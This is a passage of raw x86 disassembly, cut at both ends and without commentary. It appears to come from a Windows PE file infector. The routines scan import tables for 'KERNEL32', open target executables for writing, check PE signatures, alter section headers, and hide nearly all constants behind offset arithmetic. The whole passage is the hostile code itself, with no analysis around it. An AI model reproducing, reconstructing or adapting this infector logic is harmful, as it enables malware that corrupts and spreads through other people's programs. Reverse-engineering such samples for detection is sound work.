		mov	eax, ebx
		add	eax, [ebp-0Ch]
		add	eax, [ebp-4]
		mov	[ebp-12Ch], eax
		mov	edx, ds:1001312Ch
		movsx	ecx, word ptr ds:10013180h
		add	edx, ecx
		sub	edx, 0Ch
		cmp	[eax], edx
		jz	loc_420E99
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp-130h], edx
		push	edx
		lea	eax, [ebp-127h]
		push	eax
		call	sub_423399
		mov	eax, ds:100131ACh
		add	eax, ds:10013164h
		sub	eax, 9
		mov	[ebp-28h], eax
		jmp	short loc_420D83
; ---------------------------------------------------------------------------


loc_420D61:				; CODE XREF: .data:00420DA2j
		mov	eax, [ebp-28h]
		mov	al, [ebp+eax-127h]
		cmp	al, 61h
		jle	short loc_420D80
		cmp	al, 7Ah
		jge	short loc_420D80
		mov	eax, [ebp-28h]
		lea	eax, [ebp+eax-127h]
		sub	byte ptr [eax],	20h


loc_420D80:				; CODE XREF: .data:00420D6Dj
					; .data:00420D71j
		inc	dword ptr [ebp-28h]


loc_420D83:				; CODE XREF: .data:00420D5Fj
		mov	eax, [ebp-28h]
		movsx	eax, byte ptr [ebp+eax-127h]
		mov	edx, ds:10013164h
		movsx	ecx, word ptr ds:100131B4h
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_420D61
		mov	eax, ds:10013120h
		movsx	edx, word ptr ds:100130CCh
		add	eax, edx
		cmp	byte ptr [ebp+eax-133h], 4Bh
		jnz	loc_420E83
		mov	eax, ds:1001309Ch
		cmp	byte ptr [ebp+eax-12Bh], 45h
		jnz	loc_420E83
		mov	eax, ds:100130ECh
		cmp	byte ptr [ebp+eax-129h], 52h
		jnz	loc_420E83
		mov	eax, ds:10013138h
		cmp	byte ptr [ebp+eax-122h], 4Ch
		jnz	loc_420E83
		mov	eax, ds:100131F8h
		cmp	byte ptr [ebp+eax-124h], 33h
		jnz	short loc_420E83
		mov	eax, ds:10013210h
		add	eax, 4
		add	eax, ds:100131A8h
		cmp	byte ptr [ebp+eax-127h], 32h
		jnz	short loc_420E83
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp-138h], edx
		mov	eax, ds:10013204h
		dec	eax
		mov	[ebp-134h], eax


loc_420E3D:				; CODE XREF: .data:00420E7Fj
		mov	eax, [ebp-138h]
		mov	esi, eax
		add	esi, [ebp-134h]
		mov	edi, [esi]
		mov	eax, ds:10013198h
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_420E99
		push	edi
		call	sub_41A9D0
		pop	ecx
		cmp	dword ptr ds:10013294h,	0
		jnz	short loc_420E99
		movsx	eax, word ptr ds:10013130h
		add	eax, ds:10013110h
		sub	eax, 4
		add	[ebp-134h], eax
		jmp	short loc_420E3D
; ---------------------------------------------------------------------------
		db 0EBh, 16h
; ---------------------------------------------------------------------------


loc_420E83:				; CODE XREF: .data:00420DBAj
					; .data:00420DCDj ...
		add	dword ptr [ebp-4], 14h


loc_420E87:				; CODE XREF: .data:00420D03j
		mov	eax, [ebp-8]
		mov	eax, [eax+84h]
		cmp	[ebp-4], eax
		jb	loc_420D08


loc_420E99:				; CODE XREF: .data:00420D2Aj
					; .data:00420E57j ...
		cmp	dword ptr ds:10013294h,	0
		jz	short loc_420EFA
		call	sub_41A512
		call	sub_41F36F
		call	sub_419B03
		mov	edx, eax
		mov	[ebp-19h], dl
		movzx	eax, byte ptr [ebp-19h]
		mov	edx, ds:10013140h
		add	edx, ds:10013204h
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_420EFA
		lea	eax, [ebp-24h]
		push	eax
		mov	eax, ds:100131BCh
		add	eax, ds:100130ACh
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	10007C0Ah
		mov	eax, ds:10013110h
		sub	eax, 5
		push	eax
		push	0
		call	dword ptr ds:10012B90h


loc_420EFA:				; CODE XREF: .data:00420EA0j
					; .data:00420ECBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420EFF	proc near		; CODE XREF: sub_41D465+CDp
					; sub_41D465+122p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_420F15:				; CODE XREF: sub_420EFF+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420F15
		mov	[ebp+var_4], eax
		mov	edi, ds:100131D4h
		sub	edi, 2
		jmp	short loc_420F9A
; ---------------------------------------------------------------------------


loc_420F2A:				; CODE XREF: sub_420EFF+9Ej
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_420F3D
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_420F3D
		cmp	al, 2Eh
		jnz	short loc_420F5C


loc_420F3D:				; CODE XREF: sub_420EFF+31j
					; sub_420EFF+38j
		push	10013878h
		call	sub_41C914
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	dword ptr ds:10012634h
		add	esp, 10h
		jmp	short loc_420F8B
; ---------------------------------------------------------------------------


loc_420F5C:				; CODE XREF: sub_420EFF+3Cj
		push	10013873h
		call	sub_41C914
		push	eax
		push	ebx
		call	dword ptr ds:1000D020h
		push	1001386Bh
		call	sub_41C914
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	dword ptr ds:10012634h
		add	esp, 1Ch


loc_420F8B:				; CODE XREF: sub_420EFF+5Bj
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	dword ptr ds:1000D020h
		add	esp, 8
		inc	edi


loc_420F9A:				; CODE XREF: sub_420EFF+29j
		cmp	edi, [ebp+var_4]
		jb	short loc_420F2A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420EFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FA4	proc near		; CODE XREF: sub_419F88+188p

var_170		= byte ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000F600h
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41FC67
		push	10013866h
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000D020h
		push	1001385Eh
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		add	esp, 24h
		push	0
		mov	eax, ds:100130F0h
		add	eax, ds:10013158h
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, ds:100131E8h
		add	eax, ds:100130D4h
		sub	eax, 7
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10012788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42106B
		mov	eax, ds:10013268h
		sub	eax, 4
		mov	edx, [ebp+arg_0]
		mov	ecx, ds:10013288h
		sub	ecx, 6
		mov	[edx+eax], cl
		jmp	short loc_4210D8
; ---------------------------------------------------------------------------


loc_42106B:				; CODE XREF: sub_420FA4+ACj
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10012B9Ch
		push	0
		lea	eax, [ebp+var_170]
		push	eax
		mov	eax, ds:10013194h
		add	eax, 0Bh
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	dword ptr ds:1000D028h
		mov	[ebp+var_16C], eax
		push	edi
		call	dword ptr ds:10011654h
		mov	eax, ds:100130F8h
		add	eax, ds:10013234h
		sub	eax, 0Bh
		cmp	[ebp+var_16C], eax
		jnz	short loc_4210D8
		mov	eax, ds:100131A8h
		sub	eax, 2
		mov	edx, [ebp+arg_0]
		mov	ecx, ds:1001309Ch
		movsx	ebx, word ptr ds:100130BCh
		add	ecx, ebx
		sub	ecx, 0Eh
		mov	[edx+eax], cl


loc_4210D8:				; CODE XREF: sub_420FA4+C5j
					; sub_420FA4+112j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420FA4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10014AC8h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_421109
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_421151
; ---------------------------------------------------------------------------


loc_421109:				; CODE XREF: .data:004210F7j
		push	10014A48h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_421129
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_421151
; ---------------------------------------------------------------------------


loc_421129:				; CODE XREF: .data:00421117j
		push	10014A28h
		push	esi
		call	dword ptr ds:10012648h
		or	eax, eax
		jz	short loc_421149
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_421151
; ---------------------------------------------------------------------------


loc_421149:				; CODE XREF: .data:00421137j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_421151:				; CODE XREF: .data:00421107j
					; .data:00421127j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_421158	proc near		; CODE XREF: .data:0041F037p
		push	edi
		push	10013853h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132ACh, eax
		test	eax, eax
		jnz	short loc_42118B
		push	10013848h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132ACh, eax


loc_42118B:				; CODE XREF: sub_421158+1Aj
		cmp	dword ptr ds:100132ACh,	0
		jz	short loc_4211B1
		push	10013832h
		call	sub_41C914
		pop	ecx
		push	eax
		push	dword ptr ds:100132ACh
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F604h, eax


loc_4211B1:				; CODE XREF: sub_421158+3Aj
		pop	edi
		retn
sub_421158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211B3	proc near		; CODE XREF: sub_41B354+11Bp

var_270		= byte ptr -270h
var_26C		= dword	ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 270h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000F600h
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_41FC67
		push	1001382Dh
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_267]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000D020h
		push	10013825h
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		add	esp, 24h
		push	0
		mov	eax, ds:10013154h
		add	eax, ds:100131F8h
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, ds:100131E8h
		dec	eax
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10012788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42125F
		mov	eax, 2Ah
		jmp	short loc_4212CA
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_4211B3+A3j
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_203]
		push	eax
		push	edi
		call	dword ptr ds:1000D028h
		mov	[ebp+var_26C], eax
		push	edi
		call	dword ptr ds:10011654h
		mov	eax, ds:100131A0h
		sub	eax, 3
		cmp	[ebp+var_26C], eax
		jnz	short loc_42129F
		mov	eax, 2Ah
		jmp	short loc_4212CA
; ---------------------------------------------------------------------------


loc_42129F:				; CODE XREF: sub_4211B3+E3j
		movzx	eax, [ebp+var_203]
		movsx	edx, word ptr ds:10013098h
		movsx	ecx, word ptr ds:10013174h
		lea	edx, [edx+ecx+18h]
		cmp	eax, edx
		jge	short loc_4212C3
		mov	eax, 2Ah
		jmp	short loc_4212CA
; ---------------------------------------------------------------------------


loc_4212C3:				; CODE XREF: sub_4211B3+107j
		movzx	eax, [ebp+var_203]


loc_4212CA:				; CODE XREF: sub_4211B3+AAj
					; sub_4211B3+EAj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4211B3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:100130F4h
		sub	eax, 7
		cmp	ds:10012BA8h, eax
		jbe	short loc_4212EC
		push	10012BA8h
		call	dword ptr ds:1000D010h


loc_4212EC:				; CODE XREF: .data:004212DFj
		mov	eax, ds:10012BA8h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+0Ch]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		movsx	eax, word ptr ds:1001324Ch
		mov	edx, ds:100130B4h
		lea	eax, [eax+edx+0E9h]
		cmp	edi, eax
		jnz	short loc_421328
		push	dword ptr [ebp+1Ch]
		call	sub_418999
		pop	ecx
		xor	eax, eax
		jmp	short loc_42134E
; ---------------------------------------------------------------------------


loc_421328:				; CODE XREF: .data:00421319j
		mov	eax, ds:100130B4h
		add	eax, 0F5h
		add	eax, ds:1001314Ch
		cmp	edi, eax
		jnz	short loc_421349
		push	dword ptr [ebp+1Ch]
		call	sub_41AD81
		pop	ecx
		xor	eax, eax
		jmp	short loc_42134E
; ---------------------------------------------------------------------------


loc_421349:				; CODE XREF: .data:0042133Aj
		mov	eax, 80020003h


loc_42134E:				; CODE XREF: .data:00421326j
					; .data:00421347j
		pop	edi
		pop	ebp
		retn	24h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421353	proc near		; CODE XREF: sub_4206A9+1D0p

var_32014	= byte ptr -32014h
var_32011	= byte ptr -32011h
var_32010	= dword	ptr -32010h
var_3200C	= dword	ptr -3200Ch
var_32007	= byte ptr -32007h
var_32006	= byte ptr -32006h
var_31F58	= dword	ptr -31F58h
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= byte ptr -31ED4h
var_31EC7	= byte ptr -31EC7h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32010h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC7]
		push	eax
		call	dword ptr ds:10011638h
		add	esp, 0Ch
		push	0
		mov	eax, ds:1001309Ch
		sub	eax, 5
		push	eax
		push	3
		push	0
		mov	eax, ds:10013234h
		add	eax, ds:10013284h
		sub	eax, 0Dh
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	dword ptr ds:10012788h
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4213B7
		xor	eax, eax
		jmp	loc_422846
; ---------------------------------------------------------------------------


loc_4213B7:				; CODE XREF: sub_421353+5Bj
		push	0
		push	[ebp+var_1070]
		call	dword ptr ds:10012624h
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	dword ptr ds:1000FA34h
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:1000D028h
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EDC]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_42282F
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_42282F
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		movsx	edx, word ptr ds:100130CCh
		sub	edx, 6
		cmp	eax, edx
		jz	loc_42282F
		and	[ebp+var_1180],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, ds:10013238h
		add	ecx, 7
		add	ecx, ds:100130D4h
		cmp	edx, ecx
		jnz	short loc_4214B2
		mov	edx, ds:100130C4h
		inc	edx
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_4214B2
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EEC], eax
		movsx	eax, word ptr ds:1001322Ch
		movsx	edx, word ptr ds:100130FCh
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_31EEC], eax
		jnb	loc_42282F
		mov	[ebp+var_1180],	1


loc_4214B2:				; CODE XREF: sub_421353+11Bj
					; sub_421353+12Aj
		cmp	[ebp+var_1180],	0
		jz	short loc_4214D3
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		movsx	ecx, word ptr ds:100130C0h
		add	ecx, 2
		sub	edx, ecx
		mov	[eax], dx


loc_4214D3:				; CODE XREF: sub_421353+166j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EEC], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF4], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EF0], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EF8], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31F00], edx
		mov	eax, [ebp+var_31EEC]
		mov	[ebp+var_31EFC], eax
		mov	ecx, ds:100130B8h
		movsx	edi, word ptr ds:10013240h
		add	ecx, edi
		dec	ecx
		mul	ecx
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_31F00]
		mov	edx, [ebp+var_31F04]
		add	eax, edx
		mov	edx, [ebp+var_31EF4]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_42282F
		mov	eax, ds:10013128h
		movsx	edx, word ptr ds:100131E0h
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, word ptr ds:10013260h
		add	eax, ds:100131B0h
		sub	eax, 9
		mov	[ebp+var_C54], eax
		mov	eax, ds:10013238h
		mov	[ebp+var_105C],	eax
		mov	eax, ds:100131D8h
		movsx	edx, word ptr ds:10013208h
		add	eax, edx
		sub	eax, 0Eh
		mov	[ebp+var_434], eax
		jmp	loc_421678
; ---------------------------------------------------------------------------


loc_4215B6:				; CODE XREF: sub_421353+332j
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F10]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F08], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F08], eax
		jbe	short loc_42160D
		mov	eax, [ebp+var_31F08]
		mov	[ebp+var_20], eax


loc_42160D:				; CODE XREF: sub_421353+2AFj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F0C], eax
		jbe	short loc_421627
		mov	eax, [ebp+var_31F0C]
		mov	[ebp+var_C54], eax


loc_421627:				; CODE XREF: sub_421353+2C6j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_421652
		cmp	eax, [ebp+var_31F08]
		jnb	short loc_421652
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_421652:				; CODE XREF: sub_421353+2E0j
					; sub_421353+2E8j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_421672
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_421672
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_421672:				; CODE XREF: sub_421353+30Aj
					; sub_421353+311j
		inc	[ebp+var_434]


loc_421678:				; CODE XREF: sub_421353+25Ej
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_4215B6
		mov	eax, ds:1001318Ch
		add	eax, 1000h
		push	eax
		push	[ebp+var_20]
		call	sub_41D094
		add	esp, 8
		mov	[ebp+var_20], eax
		cmp	[ebp+var_1180],	0
		jz	short loc_4216B6
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_4216B6:				; CODE XREF: sub_421353+358j
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_4216D9
		mov	eax, [ebp+var_8]
		mov	edx, ds:100130C4h
		sub	edx, 7
		cmp	[eax+0A8h], edx
		jz	loc_42282F


loc_4216D9:				; CODE XREF: sub_421353+36Cj
		mov	eax, ds:100130F8h
		sub	eax, 7
		cmp	[ebp+var_105C],	eax
		jz	loc_4217B8
		mov	eax, ds:10013280h
		add	eax, ds:1001314Ch
		sub	eax, 0Ah
		mov	[ebp+var_31F10], eax
		mov	eax, ds:10013194h
		sub	eax, 9
		mov	[ebp+var_31F08], eax
		jmp	short loc_42175F
; ---------------------------------------------------------------------------


loc_421711:				; CODE XREF: sub_421353+432j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F14], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F08]
		mov	[ebp+var_31F18], eax
		mov	eax, [ebp+var_31F14]
		mov	edx, [ebp+var_31F18]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F0C], eax
		mov	edx, [ebp+var_31F10]
		cmp	[eax+18h], edx
		jbe	short loc_421759
		mov	eax, [eax+18h]
		mov	[ebp+var_31F10], eax


loc_421759:				; CODE XREF: sub_421353+3FBj
		inc	[ebp+var_31F08]


loc_42175F:				; CODE XREF: sub_421353+3BCj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F14], edx
		mov	edi, edx
		cmp	[ebp+var_31F08], edi
		jb	short loc_421711
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F10]
		call	sub_41D094
		add	esp, 8
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_4217B8
		cmp	[ebp+var_31F10], eax
		jnz	loc_42282F


loc_4217B8:				; CODE XREF: sub_421353+394j
					; sub_421353+457j
		and	[ebp+var_1174],	0
		mov	eax, ds:10013188h
		mov	[ebp+var_438], eax
		jmp	loc_421912
; ---------------------------------------------------------------------------


loc_4217CF:				; CODE XREF: sub_421353+5CEj
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_3200C], eax
		mov	edx, ds:100130ECh
		sub	edx, 4
		cmp	[eax], edx
		jz	loc_421927
		mov	eax, [ebp+var_3200C]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32010], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_32007]
		push	eax
		call	dword ptr ds:1000F1F4h
		add	esp, 8
		mov	eax, ds:100130C8h
		mov	[ebp+var_31F08], eax
		jmp	short loc_42185C
; ---------------------------------------------------------------------------


loc_421831:				; CODE XREF: sub_421353+52Cj
		mov	eax, [ebp+var_31F08]
		mov	al, [ebp+eax+var_32007]
		cmp	al, 61h
		jle	short loc_421856
		cmp	al, 7Ah
		jge	short loc_421856
		mov	eax, [ebp+var_31F08]
		lea	eax, [ebp+eax+var_32007]
		sub	byte ptr [eax],	20h


loc_421856:				; CODE XREF: sub_421353+4EDj
					; sub_421353+4F1j
		inc	[ebp+var_31F08]


loc_42185C:				; CODE XREF: sub_421353+4DCj
		mov	eax, [ebp+var_31F08]
		movsx	eax, [ebp+eax+var_32007]
		movsx	edx, word ptr ds:10013104h
		movsx	ecx, word ptr ds:100130A4h
		add	edx, ecx
		sub	edx, 0Eh
		cmp	eax, edx
		jnz	short loc_421831
		movsx	eax, word ptr ds:100130FCh
		movsx	edx, word ptr ds:100130B0h
		add	eax, edx
		cmp	[ebp+eax+var_32014], 4Bh
		jnz	short loc_42190B
		movsx	eax, word ptr ds:10013160h
		movsx	edx, word ptr ds:1001327Ch
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_3200C+1],	45h
		jnz	short loc_42190B
		mov	eax, ds:10013204h
		cmp	[ebp+eax+var_32006], 52h
		jnz	short loc_42190B
		mov	eax, ds:1001312Ch
		mov	edx, ds:1001317Ch
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_32010+1],	4Ch
		jnz	short loc_42190B
		mov	edx, ds:100131F4h
		add	edx, ds:10013234h
		cmp	byte ptr [ebp+edx+var_3200C+3],	33h
		jnz	short loc_42190B
		add	eax, ds:10013158h
		cmp	[ebp+eax+var_32011], 32h
		jnz	short loc_42190B
		mov	[ebp+var_1174],	1


loc_42190B:				; CODE XREF: sub_421353+546j
					; sub_421353+560j ...
		add	[ebp+var_438], 14h


loc_421912:				; CODE XREF: sub_421353+477j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_4217CF


loc_421927:				; CODE XREF: sub_421353+49Cj
